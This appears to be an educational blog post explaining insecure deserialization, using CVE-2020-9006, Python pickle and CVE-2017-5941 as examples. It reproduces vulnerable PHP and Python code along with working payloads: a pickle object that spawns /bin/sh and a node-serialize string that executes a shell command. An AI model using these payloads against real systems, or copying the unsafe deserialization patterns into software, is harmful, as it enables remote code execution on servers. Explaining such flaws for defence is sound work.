What is insecure deserialization
Tags: cybersecurity, security, backend, programming
Published: 2023-12-01 21:09:26

Unsecured data deserialization ranks eighth on the list of the ten most critical web application security threats. Before we address the attacks themselves, let's start with what serialization is.

## Data serialization

Simply put, serialization involves converting an object instance into bytes for transmission over a network. Deserialization, then, is the reverse process.

For example, let's imagine a situation in which a user sends data to a server via a form using an API. They are changed into serial form, and then received by the server deserialized and used to, for example, save them in a database.

## Examples of unsafe deserialization

In order not to be theoretical, let's go to real examples.

### CVE-2020-9006

To start with something simple. The Popup Builder plugin version 2.2.8 to 2.6.7.6 for WordPress showed a vulnerability to SQL Injection by deserializing the `attachmentUrl` variable. This allows the creation of an administrator account, resulting in the possibility of remote code execution. The vulnerable portion of the code can be found below.

```
function sgImportPopups()
{
  global $wpdb;
  url = $_POST['attachmentUrl'];
  contents = unserialize(base64_decode(file_get_contents($url)));

  /* For tables wich they are not popup tables child ex. subscribers */
  foreach ($contents['customData'] as $tableName => $datas) {
    $columns = '';

    $columsArray = array();
    foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
      $columsArray[$key] = $value['Field'];
    }
    $columns .= implode(array_values($columsArray), ', ');
    foreach ($datas as $key => $data) {
      $values = "'".implode(array_values($data), "','")."'";
      $customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
    }
  }
(...)
}
```

As you can see, the `attachmentUrl` variable is not validated in any way. Instead, it is directly passed to the `unserialize()` function. The deserialized data is next used to populate the database. Zeroauth in its [post](https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/) shows an example of a function used to create a malicious payload.

### CWE-502

There is a [pickle](https://docs.python.org/3/library/pickle.html) library in python that supports serialization and deserialization of objects. The following [example](https://blog.nelhage.com/2011/03/exploiting-pickle/) retrieves and processes the data and then authenticates the user based on an existing token.

```
class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):

     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication

  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed
```

The problem with the above code is that the attacker is able to create the `AuthToken` object itself, which will then initialize one of the Python subprocesses. What does this mean? That we can execute any command on the server. Let's take a look at the following example.

```
import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
```

The pickle library allows any object to declare how it is to be "pickled" by defining the `__reduce__` function. Ultimately, it returns a string or tuple describing how the object can be reconstructed after unpicking. The tuple must consist of two elements:

- the called object class
- the passed arguments

This is how we are able to define the returned object, which will run the shell by default.

### CVE-2017-5941

From [notification](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941) we can learn that in the [node-serialize](https://www.npmjs.com/package/node-serialize) library version 0.0.4, there is an unserialize() function that can be used to inject arbitrary code by passing a JavaScript object with an immediately invoked function expression. It looks like the following, and someone who works together in jsa on a daily basis has surely been familiar with it.

```
(function() {
    'use strict';  

}());
```

An example code with the payload used could look like the following.

```
var serialize = require('node-serialize');
var payload = '{
  "rce":"_$$ND_FUNC$$_function(){
    require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { 
      console.log(stdout)});
    }()"
}';
serialize.unserialize(payload);
```

In the above example, the code results in running the "`ls`" command on the server.

## Sources

<https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data>
<https://qa-stack.pl/programming/447898/what-is-object-serialization>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941>
<https://cwe.mitre.org/data/definitions/502.html>
<https://blog.nelhage.com/2011/03/exploiting-pickle/>
<https://cwe.mitre.org/data/definitions/502.html#REF-467>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9006>
<https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/>